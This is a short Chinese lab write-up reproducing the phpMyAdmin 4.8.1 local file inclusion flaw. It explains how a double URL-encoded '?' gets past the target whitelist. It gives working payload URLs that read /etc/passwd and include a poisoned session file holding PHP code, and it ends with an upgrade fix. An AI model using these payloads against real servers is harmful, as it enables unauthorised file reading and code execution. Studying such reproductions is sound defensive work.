PHPMyAdmin4.8.1任意文件读取漏洞复现

  • 2019 年 10 月 6 日
  • 笔记

漏洞影响版本: 4.8.1

0X1 环境搭建

下载源码包之后本地搭建放置在phpstudy的WWW目录下即可。

访问环境,不需要密码即可登录到phpmyadmin页面

0X2 漏洞分析

漏洞问题出在index.php的第53行开始位置:

target参数没有过滤,并且直接include,很显然是LFI的前奏

第57行限制 target 参数不能以index开头

第58行限制 target 参数不能出现在 $target_blacklist 内

找到 $target_blacklist 的定义:

就在 /index.php 的第50行

只要 target 参数不是import.php 或 export.php 就行

最后一个限制是如下方法

问题出现在了第 465 行的urldecode()

我们可以利用这个函数绕过白名单检测!

我把 ? 两次url编码为 %253f 即可绕过验证!

0X3 漏洞利用

最后的payload是:

http://10.10.1.26:8082/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

访问之后得到passwd结果

写入shell,测试语句:<?php phpinfo();exit;?>

Bp抓包获取本地的cookie值:

访问:

http://10.10.1.26:8082/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_de2e83061d3002f6418823905abb63cb

0X4 漏洞修复

升级到最新版即可